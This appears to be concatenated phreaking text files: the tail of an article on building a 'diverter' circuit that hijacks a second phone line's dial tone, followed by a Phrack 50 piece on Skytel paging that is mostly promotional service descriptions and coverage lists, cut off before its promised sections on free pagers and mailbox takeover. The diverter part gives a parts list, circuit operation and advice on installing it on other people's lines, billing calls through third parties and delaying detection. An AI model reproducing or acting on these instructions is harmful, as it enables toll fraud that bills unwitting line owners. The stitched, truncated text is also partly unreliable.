When your telephone is in it's normal on‑hook state, there is approximately 48VDC across the ring and tip. When you pick up your phone, the voltage drops down to about 6‑10VDC. This is because taking your phone off‑hook causes a closed circuit across the ring and tip, through your telephone. Doing so, causes the CO's equipment to sense you have taken your telephone off‑hook, and send you a dial tone to tell you it is ready to receive dialing instructions. Ok, now, suppose your phone is on‑hook. Your Aunt Jemima calls you up. How does the CO alert you to this? Well, they send a ring signal to your line. This is a 90‑130VAC signal, that is approximately 20Hz in frequency. This is pulsed on for 2 seconds, then off for 4 seconds. This is then repeated for a predetermined amount of time, or until you pick up your phone. The amount of time a phone will ring, if you don't pick up your phone depends on how your phriends at the CO programmed the switch. The reason why it has a time limit for a ring out, is for two main reasons. First of all, it takes a lot of equipment resources and power in the CO to ring a phone. And secondly, to put an end to phreaker's "Black Boxes" that would depend on the switches ability to ring a phone for ever, if it wasn't picked up...

Ok, now you pick up your ringing phone. This causes voltage to flow from the tip through your phone to the ring. This causes the CO's switching equipment to stop sending the ringing signal, and then drops the voltage down to around 6‑10VDC. An audio path is then opened between your Aunt Jemima and you. Now, after about 10 minutes of speaking with her, your Aunt Jemima shouts: 'Oh no...my pancakes are burning...gota go...' and hangs up on you. But you, being the phreak that you are, stay on the line. You listen carefully, but hear nothing but the silence of linenoise. Then, after about 10 seconds, the CO sends a disconnect signal to your line. This disconnect signal is simply a reversal of polarity between the ring and tip for about 1 second. When the polarity is first reversed, you hear a click in the earpiece of the phone. Then, when the polarity is reversed again, you hear another click. The voltage is back at 6‑10VDC, and the polarity is just as if you had just picked up your phone. Now, if you stay on the line for about 30 seconds longer, the CO will send an off‑hook signal, which is a very special signal. It is a MF signal that consists of 1400Hz & 2060Hz & 2450Hz & 2600Hz tone pulsed on 0.1 second on, and 0.1 second off. That is the very loud and annoying sound you hear if you leave your phone off‑hook.

Ok, those are the basic properties of the SS7 telephone system you need to know, to understand how the diverter works. I've spent a little of my time drawing a schematic in GIF format, and you will find it uuencoded at the end of this file, so please decode it first, and load it up in your favorite image viewer, while you read the next part. It really helps to follow the schematic, while reading the white paper. After all, anybody can follow simple instructions on how to make a diverter, but I would prefer you all understand how it works. I wouldn't want to think I wasted my time on this little project ;‑)

Parts List:

‑‑‑‑‑‑‑‑‑‑‑

(1) DPDT relay (5VDC Coil Rating)

(1) 600 Ohm:600 Ohm transformer (Telecom Isolation Type)

(1) 2N3904 transistor (NPN, Small Signal type)

(1) Opto‑Isolator pair (IR LED/Phototransistor Type)

(1) 22K Ohm resistor (1/4W, 5%)

(1) 470 Ohm resistor (1/4W, 5%)

(4) 1N4003 diodes (200 PIV)

(1) 7805 IC (5VDC, Positive Voltage Regulator)

(1) 0.33uF capacitor (Mylar Type, microfarad)

Parts Notes:

‑‑‑‑‑‑‑‑‑‑‑‑

The transformer is the type you would find in an answering machine, but can be picked up for around $7.00. The opto‑isolator is a slotted pair. That is, they are housed in a plastic assembly, that has an IR LED facing onto a phototransistor, with a slot in between them. The slot is designed for a rotating wheel or something similar, but doesn't affect the design at all. A true opto‑isolator could be used instead, I guess, but the only ones I could find where photodarlington types, and I couldn't really be bothered with them. Besides, I happen to think the slotted pair look cooler! ;‑)

Anyhow, in my diverter, I replaced the 4 diodes with a full wave bridge rectifier in a 4 pin DIP. It was smaller, and again, it looked cooler. The 7805 is a voltage regulator IC. It has 3 pins, and can be found almost anywhere. Lastly, the capacitor is just a regular mylar device. If the value is higher than 0.4uF, then the diverter will activate with line noise on line #1, or if someone picks up line #1, or if the pulse dial! If it is less than 0.2uF, then line #1 will ring a couple of times before the diverter picks up. Best advice is to simply use a 0.33uF capacitor. Other stuff you will need is hook up wire, plugs and connectors, some sort of protoboard, and a box. This part is up to you, and is where you get to show your phriends at the next 2600 meeting your creativity. Using a Rubbermaid (tm) tub is pretty creative. I just went with a plain project box from Hammond (tm). Ah well...

Schematic:

‑‑‑‑‑‑‑‑‑‑

NO ASCII SCHEMATICS FOR YOU! DECODE THE GIF AT THE END OF THIS FILE INSTEAD!

Theory of Operation:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, looking at the schematic, we see RED #1, GREEN #1, RED #2 and GREEN #2. Obviously, these are the two lines. Now, line #1 is going to be the line that we initially call into to get the dial tone, and line #2 is going to be the line of the dial tone that we actually get.

We see that in the normal state, the DPDT relay is not activated. This presents an open circuit to line #2. Current cannot flow from GREEN #2 to RED #2, because of the open relay. Thus, line #2 is in the on‑hook state. The same is the case for line #1. Current cannot flow from GREEN #1 to RED #1 because of the open relay contacts. Also, because the voltage across the two wires is 48VDC, the direct current is blocked by the capacitor, C1. Thus, current from line #1 cannot enter the rectifier either. In the normal state, both lines #1 and #2 are on‑hook.

Now, you dial up the number for line #1. The 48VDC, becomes a ringing signal of 90‑130VAC @ 20Hz. This causes an alternating current to pass the capacitor C1, and into the full wave bridge rectifier. This causes a DC voltage to appear on the output of the rectifier, which flows through the IR LED in the opto‑isolator, lighting it up. As the IR light hits the phototransistor, the phototransistor's collector current starts to flow. This causes the second transistor's base current to flow. This causes the transistor's collector current to flow, which turns on the DPDT relay. Now, as the relay turns on, current can now flow from GREEN #1 through D1 in the full wave bridge rectifier, through the IR LED in the opto‑isolator and it's current limiting resistor, through one half of the DPDT relay's contacts, through one winding of the transformer, and to the RED #1. Also, at the same time, we now have current flowing from GREEN #2 through the second half of the DPDT relay's contacts, through the other winding of the transformer, and to RED #2.

In effect, the diverter is picking up both lines. Now, you would think that if the diverter picked up both lines, then the ringing signal would stop on line #1, and the IR LED would turn off, thus turning off the whole circuit. Well, this is partially correct. However, notice that line #1 is now flowing THROUGH the IR LED, which keeps it on! So, the ring signal initially turns on the IR LED, and the off‑hook current of about 6‑10VDC keeps it on!

So, now, you are connected to line #1. Line #2 is off‑hook as well, and both line #1 and line #2 are being bridged via the transformer. Thus, any and all audio is passed between both lines. What this means is that you get the dial tone from line #2, and you can send your DTMF's from line #1.

Ok, now you make your call. Now, you hang up on line #1. Now, for about 10 seconds, the diverter stays active. But then, the CO sends a disconnect signal to line #1. If you remember back, this is just a reversal of polarity between the ring and tip, that is the GREEN #1 and RED #1. Doing so, the IR LED, being a polarity sensitive device, turns off. This causes the phototransistor's collector current to goto zero. This causes the transistor's base current to goto zero as well, and as a result, the transistor's collector current goes to zero as well, thus turning off the relay, and putting both line #1 and line #2 on‑hook again. The diverter is now ready for another call. There...simple huh?

Special Notes:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The diverter can be installed anywhere you have access to 2 lines. Obviously, green base's, can's, telephone pole's, network interface's etc... are all prime locations for the diverter. Now, you need a lineman's handset or a "Beige Box" and access to an ANI read back circuit, in order to determine the numbers of the line's you are using.

Once the device is installed, anyone and everyone calling line #1 will receive a dial tone. This means that you cannot simply leave the device installed for a whole month. That is, unless you manage to find a line that is unpublished and used for outgoing calls or something. An example is a corporate data line used by a local (unnamed) fast food restaurant that sends payroll data at night, once a week. You get your diverter on this line, and you could leave it there for a while.

Also, it is a good idea, once you get the dial tone, to use calling cards, or third party calling to complete your call. That way, your calls don't show up on line #2's bill right away. Usually, it will show up on the next bill of the person you third party'd, and it will take another month or two to reach the bill of line #2. However, line #2 will also get service charges for the third party, so their bill will be even higher than if you just used their line directly.

Ok, as for the circuit...I've gotten into a habit of designing all my circuits to operate at 5VDC. Although this isn't too necessary in this circuit, it makes it totally TTL and CMOS compatible, should you want add digital gating and other fancy stuff to the basic diverter. Well, that's enough rambling from me for now...go and get yourself some parts!

Shout Out's:

‑‑‑‑‑‑‑‑‑‑‑‑

Shout's to the Vancouver, BC hack community...you know who you are... Shout's to all the guys at Phrack...keep the legend going.... Shout's to the Niagara Falls, ON hack community...(IS there one?) Hell, shout's to the whole damn community...we're still alive and kicking right!

Oh yeah, I can't miss out our beloved BC Tel! Keep those rates increasing, and keep installing those ultra fancy NorTel Millenium's in the high vandalism and high crime areas!

That's all folks...

=[MasterMiiND]=

==============================BEGIN UUENCODED GIF=============================

begin 644 diverter.gif

M1TE&.#EAL`*S`8```````/___RP`````L`*S`0`"_HR/J<OM#Z.<M‑J+L]Z\

end

==============================END UUENCODED GIF===============================

EOF

Skytel Paging and Voicemail

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

10 of 16

‑ Skytel Paging and Voicemail ‑

The PBXPhreak

<pbx@crackhouse.com>

If you weren't aware, Skytel is the largest nationwide paging and wireless messaging service in the United States. If you want to use this to your advantage, keep reading...

Table of Contents

~~~~~~~~~~~~~~~~~

1. Important SkyTel Numbers

2. History of SkyTel

3. SkyPager

4. SkyWord Pagers

5. SkyTel 2‑Way Pagers

6. SkyTel Extras . The SkyNews and SkyQuote

7. SkyTel SkyFax Option.

8. SkyTalk Option

9. Sending a Message

10. SkyTel Coverage

11. International Access numbers to the SkyTel system.

12. SkyTel accessible by Land, Sea or Air.

13. Overview of SkyTel

14. Getting Phree SkyTel Pagers

15. Taking over a SkyTel Mailbox

16. Prefixes for SkyTel Pagers and Voicemail

17. Conclusion

1. Important SkyTel Numbers.

800‑456‑3333 ‑ Skytel Nationwide Sales Center 800‑SKY‑USER ‑ Skytel Customer Service

800‑SKY‑PAGE ‑ Skytel Numeric Paging

800‑SKY‑GRAM ‑ Skytel Alpha‑Numeric Paging 800‑SKY‑TALK ‑ Skytel Voice Mail

800‑SKY‑FAXE ‑ Skytel Faxing

800‑SKY‑8888 ‑ Skytel System Access

2. History of SkyTel.

1987:

‑ SkyTel founded; first nationwide paging and wireless messaging service.

1988:

‑ SkyTel offers first integrated voice messaging service: SkyTalk; provides instant notification of voice messages.

1991:

‑ Mtel, the parent company of SkyTel, presents the concept of two‑way paging to the FCC.

‑ SkyTel launches SkyWord ‑ the first nationwide alphanumeric messaging service; subscribers can now receive text messages nationwide. ‑ SkyTel goes international, offering service in Canada and Mexico.

1992:

‑ SkyTel develops an X.400 gateway; subscribers can now integrate email services with paging.

‑ Mtel awarded a Pioneer's Preference by the FCC guaranteeing a license to deploy a two‑way wireless communications network.

1993:

‑ SkyTel offers the first integrated information services ‑ SkyNews, news headlines broadcast to a SkyWord pager; and SkyQuote, stock quotes broadcast to a SkyWord pager.

‑ SkyTel expands its range of integrated email services announcing connectivity to Lotus cc:mail, Microsoft Mail, MCI Mail, and AT&T PersonaLink.

‑ SkyTel expands international services to Asia Pacific and South America.

1994:

‑ Mtel announces an alliance with Microsoft to co‑develop products and services for the Mtel two‑way paging network.

‑ SkyTel collaborates with Toshiba to offer the first PC Card for wireless messaging, the Noteworthy NewsCard, and offers the first integrated wireless messaging solution for notebook computers, SkyCard(r).

‑ SkyTel offers SkyFax, providing a toll‑free fax‑mailbox with instant notification of incoming faxes for subscribers.

‑ Mtel purchases two nationwide licenses in FCC narrowband PCS auctions. ‑ Mtel acquires U.S. Paging Corp., a reseller of paging services to major corporations nationwide.

‑ SkyTel provides an Internet gateway; subscribers can now send messages to SkyTel pagers through the Internet.

1995:

‑ SkyTel announces that MCI will resell SkyTel paging services as part of networkMCI products.

‑ SkyTel announces agreement with SONY Electronics Inc. whereby SONY will distribute SkyTel pagers through retail network; this announcement marks the entry of SkyTel into the retail market. ‑ SkyTel announces SkyTel 2‑Way, the first two‑way paging and wireless messaging service; subscribers can automatically confirm receipt of messages and respond directly from their pager.

3. SkyPager.

The SkyTel System keeps you in touch with clients, colleagues and family members when you're on the road. Now you can receive important information quickly and accurately where you do business. People who need to reach you dial one toll‑free phone number. You'll never have to leave a trail of telephone numbers or play another round of phone tag.

SkyPager Features

‑ SkyPager can receive numeric messages up to 20 digits long. This can be the telephone number of someone who needs you or a code (e.g., "911" if the office needs you to call in immediately). ‑ Page Recall provides quick message retrieval for times when you've been out of coverage range or the pager has been turned off. ‑ Message senders can broadcast one message to multiple subscribers, prioritize urgent messages and program messages for future delivery for time‑zone differences.

‑ Only SkyTel provides 24‑hour a day, seven‑day a week Customer Service, and all calls are always toll‑free. Or, use SkyTel Customer Service Online to contact SkyTel.

Hardware Features:

‑ New FLEX technology means longer battery life ‑‑ up to 5 months on one AAA battery.

‑ Choice of several musical tones or silent vibration alert. ‑ Holds up to sixteen 20‑digit messages.

4. SkyWord Pagers:

With SkyWord, you can receive text messages accurately and quickly. You know what's needed immediately, without picking up the phone to return the call.

Skyword Features

‑ Receive text messages up to 240 characters in a hand‑held unit. ‑ Receive notification of e‑mail messages while you're on the road. SkyTel e‑mail integration is compatible with various e‑mail systems. Ask your SkyTel sales rep for details.

‑ SkyNews(r) news headlines are provided twice daily. Stay up to date, even while traveling, on the economic, political, international and financial news of the day.

‑ Page Recall provides quick message retrieval for times when you've been out of range or the pager has been turned off.

Sending Messages Is EASY!

‑ Use SkyWord Access or QuickAccess software. All you need is a modem‑equipped PC or Macintosh computer to easily send messages. ‑ Your callers can dictate a text message to a SkyTel Customer Messaging Agent, toll‑free 24‑hours a day.

Hardware Features:

‑ New FLEX technology means longer battery life ‑‑ up to 5 months on one AA battery.

‑ Choice of several musical tones or silent vibration alert. ‑ Receive up to forty, 240‑character messages.

5. SkyTel 2‑Way Pagers.

Imagine the freedom of getting a question and pushing one button to answer... from a pager small enough to fit in your hand. Your callers get answers quickly and easily by telephone, computer, e‑mail or even on their SkyTel pager. And you reduce long‑distance and cellular phone expenses!

SkyTel 2‑Way is the first and only service that allows you to respond to a message from a pager.

The SkyTel 2‑Way System acts as the clearinghouse for all outgoing and incoming messages.

Messages to you:

People sending you messages (senders) can do so by:

‑ phone (numeric, voice messages, or operator‑assisted text messages) ‑ computer (SkyTel Access or QuickAccess software, e‑mail, or palmtop computer connection)

Messages from you:

And senders can get your response via:

‑ phone

‑ computer

‑ SkyWord or SkyTel 2‑Way pagers

Works with Other SkyTel Services:

SkyTalk: Full‑featured voice mail lets senders leave a detailed message and then you call back to hear the reply.

SkyNews: Headline news provided twice daily.

The answer is in the palm of your hand With SkyTel 2‑Way, your senders become your partners in communications. They compose messages with multiple‑choice responses for you to choose from, such as:

‑ CLIENT WILL SIGN $80K CONTRACT IF WE CAN DELIVER BY 4/7 ‑ PROCEED

‑ DO NOT PROCEED

‑ AWAIT MY CALL

Or if your sender does not define responses, select from one of your SkyTel 2‑Way pager's 16 pre‑programmed responses:

‑ YES/OK

‑ NO

‑ WILL CALL LATER

‑ CALL ME

‑ RUNNING LATE

‑ NEED MORE INFO

‑ SEND # TO CALL

‑ WHERE ARE YOU?

‑ WILL ARRIVE 15M

‑ WILL ARRIVE 30M

‑ TRAFFIC DELAY

‑ PICK ME UP

‑ BUSY

‑ FINISHED

‑ CALL HOME

Senders can receive your response at their convenience, 24 hours a day by phone, PC or SkyTel pager.

Unit Features And Operations

‑ weighs about 5‑1/2 ounces

‑ runs for several weeks on single AAA‑size alkaline battery ‑ flip‑top cover protects the unit and houses the transmitter used to send and receive messages

‑ messages can be up to 500 characters long, including customized reply choices

‑ "Personal Folder" stores messages in the 100 kilobyte memory; message length determines how many messages you can store

Sending Messages

With SkyTel 2‑Way, anyone can send a message directly to SkyTel 2‑Way subscribers and receive their replies.

Message Sending Options:

‑ Telephone keypad: Call toll‑free from any touch‑tone telephone to send a numeric message.

‑ Voice messaging: Leave a detailed message (for SkyTalk subscribers). ‑ Operator‑assisted text messaging: Dial the SkyTel toll‑free number and speak to a Customer Messaging Agent who will type and send your message.

‑ Personal computer and modem: Use SkyTel AccessTM or QuickAccess software to compose and transmit messages on a modem‑equipped computer.

‑ E‑mail: SkyTel 2‑Way messages can be created and sent through any Internet‑based e‑mail system. Replies will be directed back to the e‑mail address.

‑ Palmtop computer connections: SkyTel 2‑Way subscribers can link their Hewlett‑Packard 100 or 200LXTM or OmniGo 100 palmtop computer to a SkyTel 2‑Way pager. Subscribers can then compose, transmit, receive, relay, store and reply to SkyTel 2‑Way messages.

Receiving Replies

With SkyTel 2‑Way, senders know for certain whether their message was received and can easily check for their reply. Check each message sent over The SkyTel 2‑Way System using these convenient options:

Message Tracking and Reply Options

‑ Telephone: Whenever you send a message (by telephone or otherwise), SkyTel assigns a unique confirmation number to that message. Senders can call The SkyTel 2‑Way System later and use the confirmation number to check the status of the message and/or get their reply. ‑ Personal computer and a modem: Use SkyTel Access software to compose and transmit messages. Then use the confirmation number to check the status of messages and/or get your reply.

‑ E‑mail: When you send a message via e‑mail to a SkyTel 2‑Way subscriber, you'll receive your reply at your e‑mail address. ‑ Pagers: Replies can be forwarded to a SkyWord (alphanumeric) or SkyTel 2‑Way pager.

6. SkyTel Extra Features.

SkyNews Features:

‑ Four headlines are broadcast twice each day ‑ 12:30pm and 5:00pm ET Monday Friday, 2:00 and 7:00pm ET Saturday and Sunday.

‑ Headlines are transmitted FREE to all SkyWord and SkyTel 2‑Way pagers.

‑ Headline topics include: U.S. politics, U.S. business and economic news, international events, Dow Jones industrial average updates and the performance of leading stocks.

‑ In addition to the regular broadcasts, news alerts are sent as crucial events occur in the U.S. or abroad.

SkyNews Special Editions:

If you need news about your specific industry, subscribe to SkyNews Special Editions. Headlines are available about the following industries:

Finance

Telecommunications

Information Highway

Media

There is an additional charge for SkyTel special editions.

SkyQuote Features:

Keep tabs on Wall Street with SkyQuote‑the personalized financial news service on SkyTel text messaging units. With SkyQuote, you'll be alerted twice each business day with pricing updates on four stocks or exchange indexes. You provide us with the stocks, choose the timing of your updates, and SkyTel will do the rest.

Your messaging unit will alert you with the price of the most recent trade for each of the four companies you have selected. You will also receive Dow Jones headline alerts when significant news breaks on your selected companies.

7. SkyTel SkyFax Option.

Whoever invented the fax machine apparently didn't know much about doing business on the road. After all, you can't take the machine with you. It has very little interest in your schedule. And critical faxes have a way of arriving at the wrong place, and the wrong time.

SkyFax Features:

‑ You are assigned a personal toll‑free number that people use to send you faxes.

‑ Notification on your SkyPager or SkyWord pager that a fax has arrived in your mailbox.

‑ Dial a toll‑free number to download the fax to fax machine of your choice.

‑ SkyFax even works with your portable computer's send/receive fax software.

SkyFax Benefits:

SkyFax offers total control over how and where people reach you with important fax messages.

‑ Toll‑free number reduces long‑distance charges.

‑ Download faxes at YOUR convenience.

‑ Senders don't have to know your travel schedule in order to send you faxes ‑‑ you'll never miss an important fax.

‑ Your documents remain confidential, because you're in control.

8. SkyTel SkyTalk Option.

Now, when you travel, The SkyTel System will let you give the people who need to stay in touch with you one toll‑free phone number where you can always be reached. Even if they don't know exactly where you are, they'll be able to call a single number and leave a voice message in your SkyTalk(r) voice mailbox. You'll be notified quickly that a message is waiting. Then you can retrieve it whenever you want.

SkyTalk can also be used to send information to a whole group of people simultaneously with one phone call. Even if they're spread across Phoenix, Los Angeles, Boston and Miami, everyone will be notified in minutes.

SkyTalk Features

‑ SkyTalk is an easily‑accessible toll‑free voice mail system that notifies you when you have a message on your SkyPager, SkyWord or SkyTel 2‑Way pager.

‑ Personal toll‑free access numbers are available to provide callers with easy access to your voice mail. You can even forward your office number to your toll‑free Personal Access Number when you're traveling so every caller can leave a message for you.

‑ You can access other parts of The SkyTel System easily, without hanging up the phone. For example, you can reply directly to messages from other subscribers, broadcast messages to a subscriber list and redirect messages to other subscribers.

Additional SkyTalk Features

‑ Personalized voice mail greeting ‑‑ your own words in your own voice. ‑ Security code to prevent unauthorized access.

‑ Spanish and Japanese language prompts available.

‑ Messages up to 5 minutes in length.

‑ Stores up to 20 messages for up to 14 days.

‑ Unretrieved messages stored for 72 hours.

‑ Toll‑free access to your messages from over 40 countries around the world (surcharge may apply).

9. Sending a Message.

Make it simple for your clients and colleagues to remember how to send you a message. Just include the instructions on your business card! On the front, list the SkyTel 800 number and your PIN along with all your other numbers. For more detailed instructions, use the back of your card. These instructions can be pre‑printed on the card or printed on a sticker for attachment later. To get started, please see the SkyWord example below.

Sending Me A Page

Dial 1‑800‑759‑8888 Enter PIN, press # Numeric message‑‑press 1, then # Voice message‑‑press 2, then # Dictated message‑‑press 3

Press # to end

10. SkyTel Coverage.

SkyTel is the best single source for all of your messaging needs. For locally, nationally and internationally. People everywhere are taking advantage of SkyTel coverage flexibility. Whatever your lifestyle requires, SkyTel will easily provide a coverage plan that works for you.

SkyPager and SkyWord Coverage Plans Include:

Metro Service:

If your business is conducted primarily in one metro area or state, but requires occasional travel to other parts of the country, The SkyTel System with Metro Service and Nationwide Now is your cost‑effective messaging solution.

Metro Plus:

A broader 2‑ to 6‑state zone. There are 21 pre‑defined Metro Plus zones, each with nationwide access through Nationwide Now.

Regional/Region Plus:

East, West, Central, Southeast, Southwest or Midwest. Two regions can be combined (Region Plus service) for maximum coverage. Each can include Nationwide Now (Region Plus service is available for SkyPager only).

Nationwide:

Coverage in thousands of cities and towns across the United States. (SkyPager only)

Nationwide Now:

Nationwide Now is an exclusive SkyTel coverage feature that allows you to access our nationwide network when you travel out of your home coverage area.

International:

SkyTel International Service can be used in conjunction with any U.S.‑based coverage plan:

‑ Simulcast service: Messages are always transmitted to U.S. and the country(ies) of your choice.

‑ Follow‑Me: Allows you to activate coverage (with a quick call into The SkyTel System) to receive messages while traveling abroad. You choose the country(ies) and length of time for international coverage.

‑ International coverage is available in the following countries:

Argentina

Bahamas

Bermuda

Brazil

Canada

Colombia

Ecuador

Guatemala

Hong Kong

Indonesia

Malaysia

Mexico

Peru

Philippines

Puerto Rico

Singapore

Uruguay (coming soon)

Venezuela

In the places you travel most, SkyTel goes along with you, giving you reliable, efficient communications. Here's just a partial listing of the United States and international coverage areas.

Skytel has a wide coverage area. I only listed U.S. cities with a population of 75,000 or more.

ALABAMA

Birmingham

Huntsville

Mobile

Montgomery

Tuscaloosa

ARIZONA

Chandler

Glendale

Mesa

Phoenix

Scottsdale

Tempe

Tucson

ARKANSAS

Little Rock

CALIFORNIA

Alameda

Alhambra

Anaheim

Arden‑Arcade

Bakersfield

Berkeley

Burbank

Carson

Chula Vista

Citrus Heights

Compton

Concord

Corona

Costa Mesa

Daly City

Downey

E. Los Angeles

El Cajon

El Monte

Escondido

Fairfield

Fremont

Fresno

Fullerton

Garden Grove

Glendade

Hayward

Huntington Beach

Inglewood

Irvine

Lancaster

Long Beach

Los Angeles

Modesto

Moreno Valley

Norwalk

Oakland

Oceanside

Ontario

Orange

Oxnard

Pasadena

Pomona

Rancho Cucamonga

Richmond

Riverside

Sacramento

Salinas

San Bernadino

San Buenaventura

San Diego

San Francisco

San Jose

San Mateo

Santa Ana

Santa Barbara

Santa Clara

Santa Clarita

Santa Monica

Santa Rosa

Simi Valley

South Gate

Stockton

Sunnyvale

Thousand Oaks

Torrance

West Covina

Westminster

Whittier

COLORADO

Arvada

Aurora

Boulder

Colorado Springs

Denver

Ft. Collins

Lakewood

Pueblo

CONNECTICUT

Bridgeport

Hartford

New Britain

New Haven

Norwalk

Stamford

Waterbury

DISTRICT OF COLUMBIA

Metro Area

FLORIDA

Clearwater

Coral Springs

Ft. Lauderdale

Gainesville

Hialeah

Hollywood

Jacksonville

Kendall

Miami

Miami Beach

Orlando

St. Petersburg

Tallahassee

Tampa

GEORGIA

Albany

Atlanta

Columbus

Macon

Savannah

HAWAII

Honolulu

IDAHO

Boise City

ILLINOIS

Arlington Heights

Aurora

Chicago

Decatur

Elgin

Joliet

Naperville

Peoria

Rockford

Springfield

INDIANA

Evansville

Ft. Wayne

Gary

Hammond

Indianapolis

South Bend

IOWA

Cedar Rapids

Davenport

Des Moines

Sioux City

KANSAS

Kansas City

Overland Park

Topeka

Wichita

KENTUCKY

Lexington

Louisville

LOUISIANA

Baton Rouge

Lafayette

Metairie

New Orleans

Shreveport

MARYLAND

Baltimore

Columbia

Silver Spring

MASSACHUSETTS

Boston

Brockton

Cambridge

Fall River

Lowell

Lynn

New Bedford

Newton

Quincy

Somerville

Springfield

Worcester

MICHIGAN

Ann Arbor

Clinton

Dearborn

Detroit

Worcester

Flint

Grand Rapids

Kalamazoo

Lansing

Livonia

Southfield

Sterling Heights

Warren

Westland

MINNESOTA

Bloomington

Duluth

Minneapolis

St. Paul

MISSISSIPPI

Jackson

MISSOURI

Independence

Kansas City

St. Louis

Springfield

MONTANA

Billings

NEBRASKA

Lincoln

Omaha

NEVADA

Las Vegas

Paradise

Reno

Sunrise Manor

NEW HAMPSHIRE

Manchester

Nashua

NEW JERSEY

Camden

Edison

Elizabeth

Jersey City

Newark

Paterson

Trenton

NEW MEXICO

Albuquerque

NEW YORK

Albany

Buffalo

Cheektowaga

New York

Rochester

Syracuse

Yonkers

NORTH CAROLINA

Charlotte

Durham

Fayetteville

Greensboro

Raleigh

Winston‑Salem

OHIO

Akron

Canton

Cincinnati

Cleveland

Columbus

Dayton

Parma

Toledo

Youngstown

OKLAHOMA

Oklahoma City

Tulsa

OREGON

Eugene

Portland

Salem

PENNSYLVANIA

Allentown

Erie

Philadelphia

Pittsburgh

Reading

Scranton

RHODE ISLAND

Cranston

Providence

Warwick

SOUTH CAROLINA

Charleston

SOUTH DAKOTA

Sioux Falls

TENNESSEE

Chattanooga

Clarksville

Knoxville

Memphis

Nashville‑Davidson

TEXAS

Abilene

Amarillo

Arlington

Austin

Beaumont

Carrollton

Corpus Christi

Dallas

El Paso

Ft. Worth

Garland

Grand Prairie

Houston

Irving

Laredo

Lubbock

McAllen

Mesquite

Midland

Odessa

Pasadena

Plano

San Angelo

San Antonio

Tyler

Waco

Wichita Falls

UTAH

Provo

Salt Lake City

West Valley City

VIRGIN ISLANDS

St. Croix

St. Thomas

VIRGINIA

Alexandria

Arlington

Chesapeake

Hampton

Newport News

Norfolk

Portsmouth

Richmond

Roanoke

Virginia Beach

WASHINGTON

Bellevue

Seattle

Spokane

Tacoma

WISCONSIN

Green Bay

Kenosha

Madison

Milwaukee

Racine

11. International Access numbers to the SkyTel system.

SkyTel US Customers can access the SkyTel System from 44 countries around the world! Use the chart below to find the access numbers you need.

Legend for notes:

* a: Pay phones may require a coin or card

* b: Not available from pay phones

* c: Not available from all phones

* d: Local or in‑country charges may apply

Country Access Number Notes

Australia 1‑800‑12‑8078 Bahamas 1‑800‑934‑6451 a Bahamas 1‑800‑934‑6451 a Barbados 1‑800‑534‑2170 b Belgium 0800‑1‑4389 a Bermuda 1‑800‑825‑0311 Canada 800‑759‑8255 c Chile 1230‑020‑3220 b China 10‑800‑524‑4624 c Colombia 980‑1‑52547 a, c Costa Rica 001800‑234‑4793 b Denmark 8001‑8671 a El Salvador 0‑1‑800‑234‑9578 b, c Finland 9‑800‑1‑59402 a France 05‑90‑3223 Germany 0130‑8‑18414 Greece 00800‑12‑2613 a, c,d Guam 1‑800‑671‑0150 a Guatemala 099‑0082 a Hong Kong 800‑5688 a Hungary 00‑800‑11144 Indonesia 001‑800‑011‑0277 Ireland 1‑800‑55‑5523 Israel 177‑150‑1572 a Italy 1678‑77100 a Japan 0031‑12‑3373 a, c Luxembourg 0800‑6170 Malaysia 800‑2652 a, d Mexico 95‑800‑759‑8255 c, d Netherlands 06‑022‑7548 a, c Netherlands Antilles 0031‑12‑3373 b, d New Zealand 0800‑447036 Norway 800‑15617 Panama 001‑800‑507‑0089 Portugal 0501‑12‑707 a, c Singapore 800‑1200‑457 a South Africa 080‑09‑92588 a Sweden 020‑79‑3976 a Switzerland 155‑2154 a Taiwan 0080‑13‑8341 a Thailand 001‑800‑12‑066‑0249 a, c United Kingdom 0800‑89‑3648 Uraguay 000‑413‑598‑0371 a, c,d Venezuela 8001‑2458

12. SkyTel accessible by Land, Sea or Air.

Accessibility is important in any business, but when you provide mobile satellite communications to maritime, aeronautical and land mobile customers, it's your main selling point.

The folks at COMSAT Mobile Communications sell communications that know no bounds, so they need to keep in constant contact with all their customers and prospects. That's why they rely on SkyTel.

Robert Katz, director of Mobile Data for COMSAT, says, "It's not just SkyTel paging that's so valuable to us. It's the whole spectrum of SkyTel services." As a matter of fact, the company depends on more than 160 SkyTel pagers, especially in the sales, engineering and operations divisions, as well as a variety of SkyTel services.

Serving as much‑needed administrative support, a SkyTel Corporate Access Number gives customers or employees toll‑free access to sending pages ‑ with just one easy number and without having to carry or remember PlNs. With a list of key COMSAT employees and their PlNs, the SkyTel operator sends messages like a personal assistant. Katz uses this service to send out important meeting notices or project reminders, either to individuals or an entire group. "It's even better than voice mail or e‑mail," says Katz.

SkyTel service even works with COMSAT's office systems to keep communications transparent to the caller. For example, when Katz receives a call at his desk, his office voice mail system pages him immediately. Wherever he is, his SkyTel pager alerts him that a call is waiting. Within minutes, he phones in an access code to be connected instantly. When he picks up the call, the caller doesn't know if Katz is in a meeting, driving down the highway or relaxing at home. All he knows is that Katz is available for him.

A loyal SkyTel customer since 1990, COMSAT is currently integrating SkyTel 2‑Way messaging into their day‑to‑day operations. Of course, you would fully expect these experts in satellite communications to take advantage of the best in satellite messaging technology. With SkyTel they're moving full speed ahead.

13. Overview of SkyTel.

Don't sit by the phone and wait for important calls. Carry your SkyTel pager and stay in touch. Let your messages find you.

Anyone ‑ from customer service reps, medical personnel and sales executives to busy parents and teenagers ‑ can take advantage of the easiest communications solution today.

SkyTel has paging services and coverage options to meet your requirements. In town or out, SkyTel is the only service you'll need.

Only The SkyTel System includes these advances:

‑ Always Toll‑free ‑ no fumbling for spare change; no cost for calls, from anywhere in the United States

‑ Personalized Greetings ‑ just like an answering machine, change your greeting as often as you like ... easier for callers to use and understand

‑ Page Recall ‑ stop worrying about missed messages; call in to review messages from the last three days, even if your pager was turned off

If you need ... Then try ...

To be notified with a SkyPager for short, simple communications. number (phone number or

special code) that someone

is trying to reach you.

Full written messages in SkyWord for receiving numeric and the palm of your hand. alphanumeric messages.

SkyTel 2‑Way for revolutionary two‑way To answer questions

immediately. Without using communications. With SkyTel 2‑Way you can a phone. respond immediately to messages you receive, right from your pager.

SkyTalk, giving you full‑featured voice To know you have a voice mail and notification on your pager every message. time a message is left, available with all paging services.

